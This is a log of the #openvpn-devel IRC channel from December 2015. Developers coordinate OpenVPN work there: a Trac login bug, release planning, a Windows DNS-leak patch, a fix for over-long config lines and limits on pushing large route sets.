valdikss> btw guys, what about donations? Did anyone set up flattr? 14:10 < valdikss> Bitcoin address maybe? 14:10 <@mattock1> no, there is no Flattr account yet 14:11 <@mattock1> I talked about it to our CEO, and he seemed fine with having donations 14:11 <@mattock1> however, somebody would need to manage those donations 14:12 <@mattock1> I did not yet try to push the idea too much, wanted it to sink in a bit first 14:12 < valdikss> PIA gave me $5000, I'd like to donate a bit to you 14:12 <@mattock1> PIA? 14:12 < valdikss> And another bit to strongSwan 14:12 < valdikss> Private Internet Access 14:12 < valdikss> You heard about Port Fail "Vulnerability"? I've reported something similar and also got money 14:13 < valdikss> Can't really tell about it until they fix it 14:13 <@mattock1> oh, haven't heard of that 14:13 < valdikss> Well, that's bullshit. They say that Port Fail is VPN vulnerability but it's not a vulnerability and not a VPN one. 14:13 < valdikss> My "vulnerability" is also not about VPN and not a vulnerability at all, just a routing feature 14:14 < valdikss> I think you may guess it 14:14 < valdikss> But since they consider it as a vulnerability, they paid the bounty. 14:14 <@mattock1> well, good for you :P 14:15 <@mattock1> everything that improves convenience for end-users can be seen as a vulnerability basically :) 14:15 <@mattock1> or most of it at least 14:16 < valdikss> Well, it can be used to deanonymize some users so you can think of it as a vulnerability 14:20 < valdikss> So setup flattr and bitcoin account faster ;) 14:21 <@mattock1> :) 14:26 -!- arrmo [~arrmo@108.19.58.113] has joined #openvpn-devel 14:28 < valdikss> Oh btw, I've fixed some issues with radiusplugin so I hope it could be included in debian now 14:28 < valdikss> Also fixed race conditions which lev__ mentioned 15:59 -!- arrmo [~arrmo@108.19.58.113] has quit [Quit: Leaving] --- Day changed Sat Dec 05 2015 01:33 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 03:54 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 10:45 <@plaisthos> :) 10:45 <@plaisthos> all these VPN nonsense! 10:46 <@plaisthos> :p 10:58 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Read error: Connection reset by peer] 11:06 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:57 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 13:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 15:33 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 16:13 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 16:19 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 16:42 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Quit: Bye] 16:45 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 20:19 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 20:45 -!- arrmo [~arrmo@108.19.58.113] has joined #openvpn-devel 21:32 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] 22:37 -!- arrmo [~arrmo@108.19.58.113] has quit [Quit: Leaving] 22:45 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 260 seconds] --- Day changed Sun Dec 06 2015 02:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:17 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has quit [Ping timeout: 240 seconds] 03:34 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 04:14 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 04:39 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 07:46 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 07:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 07:48 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 07:49 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 240 seconds] 07:49 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 07:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 07:50 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 08:36 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:36 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:49 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 09:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:06 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 10:06 -!- dazo_afk is now known as dazo 11:36 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 11:39 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 11:40 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 11:40 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:40 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 16:06 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 17:09 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 19:20 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Quit: Leaving] --- Day changed Mon Dec 07 2015 01:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 01:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:36 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 01:48 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:53 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 02:11 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 02:14 -!- reators [~holger@2001:1a80:2000:2:3933:1ebb:3483:6071] has quit [Ping timeout: 264 seconds] 02:26 -!- reators [~holger@2001:1a80:2000:2:c415:d979:ecc6:b9f1] has joined #openvpn-devel 02:41 -!- reators [~holger@2001:1a80:2000:2:c415:d979:ecc6:b9f1] has quit [Ping timeout: 260 seconds] 02:49 -!- reators [~holger@2001:1a80:2000:2:c415:d979:ecc6:b9f1] has joined #openvpn-devel 02:57 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 04:04 <@mattock1> meeting this evening? 04:10 <@cron2> I can't be there 04:13 <@mattock1> ok 04:13 <@mattock1> I'm fine with postponing this to next week 04:28 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 260 seconds] 04:38 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 04:52 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 260 seconds] 04:54 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 05:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:13 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:13 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:13 <@mattock_> hmm, I suppose my IRC bouncer is now working 07:14 <@mattock_> sorry for any disconnect/reconnect things you may have seen here 07:14 <@mattock_> there should be one mattock only from now on 07:14 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 07:28 * cron2 likes that! 07:30 <@cron2> meeting-wise, next week looks good - but if you do a meeting today and get some stuff reviewed, fine with me :) 07:43 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:43 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:45 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 07:46 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:46 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:48 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 07:48 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:49 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:55 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 07:59 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:59 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:16 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 08:18 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 08:44 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 08:45 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:48 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 08:50 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 08:53 <@syzzer> this week, next week, either fine with me 08:57 <@syzzer> so if there will be no meeting tonight, let me just perform my bi-weekly poke mattock_ now ;) could you look at adding my private mail to security@ and creating a scan-results@ (or smth similar)? 09:00 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 09:02 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 09:04 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 09:13 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:13 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:16 <@mattock_> syzzer: your private email is on security 09:16 <@mattock_> if it does not work, then I need to look at it 09:17 <@mattock_> and yes, I will look at the scan-results thing :P 09:17 <@mattock_> let's do the meeting next week 09:17 <@mattock_> I have something else I need to do also 09:18 <@syzzer> mattock_: hmm, I recalled something like that, but did not see yesterday's mail until I arrived at work 09:19 <@mattock_> anyways, cron2's long-time complaint ("too many mattocks") is now fixed 09:20 <@syzzer> checked junk/spam folders, also no trace 09:20 <@syzzer> yes, this is good! :) 09:20 <@mattock_> interesting 09:20 <@syzzer> and you will probably like it yourself too ;) 09:23 <@mattock_> yeah, not having a bouncer was rather annoying 09:23 <@cron2> you grew a tail, though... (mattock*_*) 09:24 <@mattock_> I suspect the tail goes away 09:24 <@mattock_> or not, we'll see 11:19 <@plaisthos> ARGH! 11:19 <@plaisthos> https://plus.google.com/u/0/photos/photo/104705504055317148202/6225584252666082466?sqid=114121831091105660092&ssid=dc85deaf-ea05-4e8d-8724-108bf1f5dff5 11:19 <@vpnHelper> Title: Google+ (at plus.google.com) 11:20 <@plaisthos> the password tty bug now also affects my client which uses management for passwords 11:56 <@cron2> what? 11:56 <@cron2> why? 11:57 <@cron2> why *now*? 12:59 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 14:17 < valdikss> Viscosity uses it's own modified OpenVPN and modified TAP adapter. Do they disclose source? 14:23 < valdikss> You may not: 14:23 < valdikss> a. sublicense, rent, or lease any portion of Viscosity; reverse engineer, decompile, disassemble, modify, translate, make any attempt to discover the source code of Viscosity, or create derivative works from Viscosity; 15:51 <@vpnHelper> RSS Update - tickets: #636: Add IPv6 Support to packet filter (please) <https://community.openvpn.net/openvpn/ticket/636> 21:04 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 21:09 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 21:13 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 21:46 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Tue Dec 08 2015 01:05 <@mattock_> valdikss: the viscosity folks have been very responsive to my queries for the source 01:06 <@mattock_> they do have the source available on a webserver 02:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:50 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:12 <@mattock_> syzzer: scan-reports list seems to work now 04:04 <@mattock_> syzzer, cron2: did you receive my test emails to the list? 06:05 <@plaisthos> the auth-user-pass was my fault 06:05 <@plaisthos> I accidently used an old build 07:41 <@cron2> mattock: I actually answered :) 09:27 <@syzzer> mattock_: received the test mail :) 09:28 <@syzzer> did you also find time to see why the security@ mails didn't reach my private mail address? 10:21 <@plaisthos> cron2: even without looking at the code I probably know what 631 is ... 10:21 <@plaisthos> we have a maxline define and then just parse the next line without skipping to \n 10:21 <@cron2> argh 10:21 * cron2 hates trac 10:22 <@cron2> it randomly logs me off 10:22 * cron2 suspects "there are multiple instances running and do not accept each others' cookies" 10:23 <@cron2> plaisthos: yes, it very much smells like that 10:25 <@plaisthos> cron2: yes 10:25 <@plaisthos> and it is 10:25 <@cron2> so how do we fix the problem? error-out on lines that are too long (= no \n in the buffer and not EOF)? 10:26 <@plaisthos> at least warn about too long lines 10:27 <@plaisthos> erroring out is a simple and convient fix 10:29 <@plaisthos> erroring out is probably not a bad idea 12:48 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 15:51 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has joined #openvpn-devel 15:52 -!- Hink [~Hink@146-115-152-96.c3-0.frm-ubr1.sbo-frm.ma.cable.rcn.com] has quit [Read error: Connection reset by peer] 18:08 <@vpnHelper> RSS Update - tickets: #637: Windows ipv6 routing netsh.exe fails <https://community.openvpn.net/openvpn/ticket/637> --- Day changed Wed Dec 09 2015 00:35 < valdikss> mator: yep, got the source and added VIscosity support to fix dns leak plugin. 01:37 <@cron2> lev__: are you around? Can I assign #637 to you (= what is your trac username)? 01:38 <@cron2> mattock: can you please fix what is broken in our trac? It is so annoying that I'll stop working on tickets if this does not improve 01:38 < lev__> cron2: yep, "stipa" 01:38 <@cron2> ah :) 01:39 <@cron2> thanks 01:40 <@mattock_> cron2: what? 01:41 <@mattock_> I mean is Trac broken? 01:41 <@cron2> every second ticket I try to add stuff to it, I get logged out and have no permission to change anything 01:41 <@cron2> I assume this is due to 01:42 <@cron2> community.openvpn.net has address 198.41.191.212 01:42 <@cron2> community.openvpn.net has address 198.41.184.213 01:42 <@cron2> community.openvpn.net has IPv6 address 2001:470:66:5e1::2 01:42 <@cron2> so my browser uses different instances on different clicks, and they do not understand the login cookie from "the other instance" 01:42 <@mattock_> urgh 01:42 <@mattock_> I'll check what's happening 01:42 <@cron2> I can't imagine this is not happening to other users as well? 01:43 <@cron2> yesterday I worked on about 10 tickets, and it happened ~3-4 times - typed in a comment, pressed submit, got "you are not authorized" and had to re-login 01:43 <@cron2> and today on #637 again, just before cursing on spitting on IRC (so there's the time stamp) 01:47 <@mattock_> ok, so the first IP address does not even lead to community.openvpn.net 01:47 <@cron2> both look like cloudflare frontend proxies 01:47 <@mattock_> neither does the second 01:48 <@mattock_> yeah, must be 01:48 <@cron2> You've requested an IP address that is part of the CloudFlare network. A valid Host header must be supplied to reach the desired website. 01:49 <@mattock_> yup, so it's cloudflare... I will have to look around and see what is causing this 01:49 <@cron2> Does trac have a setting whether you want the client IP to be part of the session cookie? If yes, please turn that off - it was a stupid idea 10 years ago, and with ipv4+ipv6 (and browsers alternating) it's an even more stupid idea today 01:50 <@cron2> it is sold as "SECURITY!" but broke stuff like Compuserve proxy clusters 10 years ago already... 01:51 <@cron2> http://trac.edgewall.org/wiki/TracDev/DatabaseSchema/Common 01:51 <@vpnHelper> Title: TracDev/DatabaseSchema/Common – The Trac Project (at trac.edgewall.org) 01:51 <@cron2> hrmph, it seems to do that ("table auth_cookie, column ipnr") 01:52 <@cron2> but there is a config option "self.check_ip" according to http://trac.edgewall.org/browser/trunk/trac/web/auth.py... 01:52 <@mattock_> ok, I'll see how to turn that off 01:52 <@mattock_> it was probably on by default and cloudflare triggered this issue 01:53 <@cron2> http://trac.edgewall.org/wiki/TracIni#trac-section -> "check_auth_ip" in trac.ini, it claims it's disabled by default, though... 01:53 <@vpnHelper> Title: TracIni – The Trac Project (at trac.edgewall.org) 01:54 <@cron2> thanks :) 01:56 <@mattock_> yeah, it was turned on 01:57 <@mattock_> I'll restart apache just in case 01:57 <@cron2> big thanks! (any comment in there why it was turned on? I like to do that in my configs, so I remember later...) 01:58 <@mattock_> no clue, but it was probably in the stock config I used when I installed trac the first time 01:58 <@mattock_> or I read in the documentation that it was a good idea 01:58 <@mattock_> now there's a comment why it should be disabled :P 02:00 <@mattock_> cron2: can you verify that things work correctly now? 02:01 <@cron2> I'll go test tonight - there's so many open tickets I could work on :) - so I'll notice 02:01 <@mattock_> ok :) 03:17 <@mattock_> FYI: OSTIF.org started Kickstarter campaign for auditing and improving security software, including OpenVPN: https://forums.openvpn.net/topic20423.html 03:17 <@vpnHelper> Title: OpenVPN Support Forum Kickstarter campaign for improving security software : Off Topic, Related (at forums.openvpn.net) 03:46 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 260 seconds] 04:32 < valdikss> Pushed block-outside-dns v8. Hope this is the last one. 04:52 <@plaisthos> :) 05:50 <@cron2> plaisthos: this is for you... http://www.commitstrip.com/en/2015/12/02/youre-game-doesnt-work/ 05:50 <@vpnHelper> Title: You’re game doesnt work! | CommitStrip (at www.commitstrip.com) 06:44 <@plaisthos> cron2: hehe :) 06:44 <@plaisthos> yes :D 06:45 <@plaisthos> (but the chinse cheap tablet are in my case OnePlus One and Samsung S% 06:45 <@plaisthos> S6) 06:51 <@plaisthos> bloody, I am 64 bit device, I install 32 bit and tell you that I prefer 64 bit 07:50 <@cron2> mattock: sample set: 1 - "trac worked!" :-) 08:32 <@dazo> cron2: ping ... query-user-pass patches .... 08:36 <@cron2> dazo: fixing the systemd interaction is higher on my "must have" list right now, because we shouldn't release 2.3.9 with that bug still present 08:37 <@cron2> (and we need to get our 2.3.9 soon so we can release 2.3.10 with polar 1.3 support right after) 08:39 <@dazo> cron2: I suggest reviewing these patches, so we can try to fix it better on top of these patches 08:50 <@cron2> this is surely the correct long-term fix, but right now I can't even find time to figure out why my code is being triggered at all, which annoys me. Need to look into this whole subject, hope I'll have time tonight to get some stuff done. 09:24 <@dazo> cron2: The thing is that systemd has been rebased in RHEL7.2, which will hit CentOS and derivates soonish ... which means echo support for usernames through the systemd paths will be available ... so I would prefer getting this in reasonably quickly, as CentOS have already kicked off their release machinery and I expect we will get even more comments on that when users notice the --echo support is lacking in openvpn 09:25 <@dazo> and with that code base in, I can really start looking at gathering all this needed information in one go at the earliest point possible in openvpn 10:00 <@cron2> what is the deadline on this? 10:01 <@cron2> we have dec 31 as deadline for 2.3.10 due to EOL on polarssl 1.2 10:01 <@cron2> so we need to find a way to make this all fit... 10:54 <@dazo> cron2: the 7.2 release of CentOS will happen "any time" (they don't publish any ETA) ... but RHEL 7.2 was released Nov 25, and some packages for Scientific Linux based on 7.2 have already been pushed to testing repositories 10:54 <@cron2> so 2.3.9 is too late for that anyway... hrmph. 10:55 <@dazo> I think if we can get this applied in before 2.3.10, that's good enough 10:56 <@dazo> I also don't insist on query username/passw patches in 2.3 ... we can have that as an "Improved systemd integration" thing for 2.4 10:57 <@dazo> but the sooner it gets in ... the sooner I know what I can base my next fixes on 12:27 < valdikss> Guys, may I ask you to ACK no NAK block-outside-dns? 12:28 <@cron2> the code seems to have matured now - but it seems it needed these rounds :-) 12:34 < valdikss> cron2: that's my first serious C code, please don't kick me hard :( 12:47 <@cron2> valdikss: that was just speaking matter-of-fact, not trying to make anyone look bad - sorry if it came around like that. We've had submissions from plaisthos or dazo that blew up half the platforms, so sometimes it just needs a few rounds :-) 12:47 < valdikss> cron2: haha, no problem 12:49 <@dazo> valdikss: I understand this is annoying, with all these rounds .... but as long as they happen, that is a good sign ... and when you've had so many rounds as you have, that is usually a good that they will eventually be accepted. It would be pretty darn evil to NACK them completely in the very end 12:49 <@cron2> since we had a feature-ACK from James right in the beginning, a NAK is *very* unlikely :) 12:50 <@dazo> valdikss: sometimes patches gets accepted instantly, other times they go through several rounds like this ... and if you're not too much familiar with C coding, these rounds can also give you confidence to the code too :) 12:50 <@dazo> Yes, frustrating when it drags out ... but I'm always happy to see my own code reviewed and getting improved 12:50 < valdikss> dazo: that's completely OK, all the criticism was sane 12:51 <@dazo> that's what we strive to do :) 12:51 < valdikss> btw Perfect Privacy gave me another $1000 :) 12:51 <@dazo> cool! 12:51 < valdikss> Public disclosure would be this Sunday I hope 12:52 < valdikss> But, well, there would be nothing new to you 12:52 < valdikss> Obvious things 12:52 <@dazo> (not that I understand how any public VPN solution can claim perfect privacy ... but that's another topic for another day) 12:52 < valdikss> Oh, and just FYI: Asus and DD-WRT firmware go crazy with IPv6 over OpenVPN. 12:53 <@dazo> dd-wrt stinks 12:53 <@dazo> !ddwrt 12:53 <@dazo> !dd-wrt 12:53 <@dazo> meh 12:53 < valdikss> DD-WRT is better, you just need to enable IPv6 support, but Asus is a heavy shit 12:53 <@dazo> <vpnHelper> "dd-wrt" is (#1) While some users have success with dd-wrt, the build system isn't very accessible to users and there have been security issues with the distro. Consider carefully if this is the platform you want to use for OpenVPN or (#2) Firewall oopsie : http://www.dd-wrt.com/phpBB2/viewtopic.php?t=35783 or (#3) more issues: http://www.dd-wrt.com/phpBB2/viewtopic.php?t=84536 12:54 < valdikss> And no firmware configures source routing so if you connect to OpenVPN on the router you get broken remote control because the packet is received via ISP interface and the reply goes via VPN 12:55 < valdikss> Russian Registry of Blocked Sites almost hit 10000 unique blocked IPs and that's a challenge to push so much routes over OpenVPN 12:56 <@dazo> wow 12:56 <@dazo> so GFW of China is now fully active in Russia too? 12:56 < valdikss> Linux client works fine and fast, Windows client works fine and pretty slow, Tunnelblick can't handle more than ~2000 (dunno why, maybe routing issue), OpenVPN v3 (Connect) can't handle that much too 12:56 < valdikss> dazo: not yet, right now it's very easy to circumvent the censorship 12:57 < valdikss> dazo: and it's not prohibited to do so 12:57 < valdikss> dazo: I mean, I'm publicily running a free service to circumvent censorship which is used by almost 400000 users daily and I'm still alive 12:57 <@dazo> hmmm ... well, I sure hope things will improve 12:58 < valdikss> dazo: I hope so, but I doubt. It gets worse. 12:58 <@dazo> :/ 12:59 < valdikss> 5-7 years ago Russian internet was very free, like fully liberal. I was so proud of Russia only because of this, this was a really huge thing. Now it's all over. 12:59 <@cron2> from what we can hear over here, all of Russia has changed quite a bit in these 5 years 12:59 < valdikss> But, well, we still have ISPs running torrent trackers and dc++ hubs 13:00 < valdikss> We have the biggest closed DC++ network in Siberia, which is bigger than top 10 public DC++ hubs in sum 13:01 < valdikss> 2-3 years ago you could easily find an ISP advertisement on the street which opts you to connect to them because they have 100 mbit/s LAN with tons of movies and music 13:02 < valdikss> In my opinion, the main issue with legal content is that it's hard to find, hard to buy and you can't be fully sure what are you buying 13:02 < valdikss> Like, is the original audio in movie is available or are there any subtitles 13:04 < valdikss> Ah, nevermind. I'm more interested in routes 13:04 < valdikss> Can OpenVPN v3 be fixed to support 10000+ routes? 13:04 <@cron2> I'm not sure if there is a limit in OpenVPN or in iOS - if you see similar limits in MacOS, that might be why... 13:04 <@cron2> does Connect on Android handle this? 13:05 <@dazo> depends on where the issue is ... if it is issues when parsing 10k+ pushed routes ... or if it is the underlying OS causing havoc 13:05 < valdikss> cron2: it doesn't. 13:05 < valdikss> cron2: arne's works fine. 13:05 <@dazo> hmm 13:05 < valdikss> You can try it yourself 13:05 < valdikss> http://antizapret.prostovpn.org/antizapret.ovpn 13:05 <@cron2> well, that would have been my next suggestion - run against plaistos' version. So it seems to be a limit in the v3 code (plus, maybe, iOS, but we don't know yet) 13:06 <@cron2> I have no idea how the v3 development model works right now... James does cool things, but it's hard to influence what will come out when :-/ 13:06 < valdikss> iOS 9 but is still not fixed :( 13:07 < valdikss> bug* 13:07 <@cron2> James said he has forwarded this to Apple... but I haven't seen any iOS updates recently either. Annoying, this is. 13:08 < valdikss> Is this really an Apple bug? 13:09 <@cron2> well, for the VPN API "redirect gateway" and "add routes" is a different operation - and as it worked correctly on iOS 8, it looks like it. 13:10 <@cron2> (and it's not the first time their VPN API acts up... for example, if you try redirect-gateway for IPv6 only, it will just error-out, instead of giving you what you asked for - IPv4-only works...) 13:10 < valdikss> I'm thinking of writing an OpenVPN plugin to fix all client-side issues like IPv6 leak, DNS leak, WebRTC leak, killswitch. Is anyone interested? 13:11 <@cron2> but didn't you do all the work on the patch to *not* have to do plugins? 13:11 <@cron2> (which might not be active on the client side) 13:12 < valdikss> Well, that's a pretty obscure options, not everyone needs them and it's not that a VPN should handle in my opinion, but it's convinient for clients. 13:12 < valdikss> All major custom VPN software has these functions 13:13 <@cron2> IPv6 leaked is easily handled :) - what is WebRTC leak and killswitch? 13:13 < valdikss> Killswitch is a feature which would block all internet access if VPN is suddenly disconnected 13:14 < valdikss> You can get something like killswitch with persist-tun, but with this option OpenVPN can't resolve a hostname and would fail to reconnect in an endless loop 13:15 < valdikss> Actually that's something you can handle with WFP. Maybe I should fix this? 13:15 <@cron2> with master and --preresolve this might actually work out already - unless the answer you get back from DNS varies depending on who you ask 13:16 <@cron2> (NAT64 involvement, etc.) 13:17 < valdikss> Wow, that's what I want. I'd like to have this in 2.3 13:18 <@cron2> no way... the whole socket code was rewritten very much, and this is based on the dual-stack rewrite 13:18 <@cron2> (which is half of "what is new in 2.4" anyway) 13:19 < valdikss> Then we should hurry up the 2.4 release :) 13:19 <@cron2> right... someone needs to review Arne's timeout and compression_v2 patches... 13:21 < valdikss> …and deferred client-connect… 13:21 <@cron2> and AEAD (which is not even on the list yet) 13:21 * cron2 despairs a bit and focuses back on 2.3.9... 13:26 <@cron2> mattock: how's your release planning doing? 13:45 <@cron2> ok, the "why did I hurt systemd" is easily answered... but what the right answer is, I'm not sure... *scratch head* 13:50 -!- dazo is now known as dazo_afk 17:02 <@plaisthos> valdikss: too many routes on Android takes ages on 4.4 iirc 17:03 <@plaisthos> valdikss: the android private internet clinet has the killswitch feature 18:56 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has quit [Ping timeout: 260 seconds] 22:59 -!- arlen [~arlen@jarvis.arlen.io] has quit [Remote host closed the connection] 23:21 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Thu Dec 10 2015 03:16 < lev__> valdikss: did you check the return value of FwpmSubLayerDeleteByKey0? It will likely fail if there is a filter associated with sublayer. On the other side, just calling FwpmEngineClose0 seems to do the job 03:42 <@plaisthos> I will prepare a patch for the long lines 03:42 < lev__> valdikss: you may want to create another GUID and copy it to filterKey and call FwpmFilterDeleteByKey0 before deleting sublayer 03:44 -!- dazo_afk is now known as dazo 03:47 <@plaisthos> :/ 03:48 <@plaisthos> there seem to be no way to see how long a string returned from fgets is 03:50 < lev__> cron2: persist-tun and preresolve does not completely eliminate leaks when you switch between gateways, OpenVPN says "Pulled options changed on restart, will need to close and reopen TUN/TAP device." and you have about second time window where traffic leaks. This can be easily fixed it with few WFP calls but DNS still leaks during reconnect 03:52 <@cron2> plaisthos: well, strlen()? 03:52 < lev__> If one allows traffic only from openvpn process, it cannot resolve DNS. Have to allow DNS system-wide or use preresolve, which has its own disadvantages 03:53 <@plaisthos> cron2: yeah, I just checking if there is a \0 at the end 03:54 <@plaisthos> The fgets() function reads at most one less than the number of characters specified by size from the given stream 03:54 <@plaisthos> that bit us the inline file parser last time 03:58 * cron2 reads "man fgets" as "there will always be a \0, but there will also be a \n *before* the 0 if we have a full line" (watch out for end of file :-/) 03:58 <@plaisthos> yes 03:58 <@plaisthos> I will just take strlen 03:58 <@cron2> so the check could be "strlen(buf) == sizeof(buf)-1" 03:58 <@cron2> well 03:58 <@cron2> yes :) 03:59 <@cron2> this might trigger a false positive if a line just happens to *exactly* fit into buf... but I'd take that risk 04:02 <@plaisthos> cron2: yes, I will add +1 to the length to not break those obscure configs ... 04:27 <@cron2> good plan :) 04:33 < valdikss> lev__: patch doesn't delete added rules but the plugin does. 04:35 < lev__> valdikss: but you do call win_wfp_uninit() after closing tun 04:40 < valdikss> lev__: yes. Is there any problem with that? 04:42 < lev__> well, that FwpmSubLayerDeleteByKey0 call is likely useless (it likely returns an error), so I'd either remove it or (better) create guid for filter and delete filter before deleting sublayer 04:42 < lev__> that's what I did in "killswitch" implementation 05:11 < valdikss> lev__: ah, you're talking about killswitch 05:19 < lev__> valdikss: well, about your "patch v8". I played with killswitch in my project and noticed that sublayer deletion fails if there is filter attached to it 05:19 < lev__> (see my mail) 05:23 < valdikss> lev__: oh I see. 05:23 < valdikss> What do you think of "Make ValdikSS's DNS leak fix platform agnostic"? 05:26 < valdikss> lev__: If I remove FwpmSubLayerDeleteByKey0 and use only close, is that OK? 05:59 < lev__> valdikss: I would do something like this https://gist.github.com/stipa/913b455ef310ce656ba4 05:59 <@vpnHelper> Title: wfphelper.cpp · GitHub (at gist.github.com) 06:06 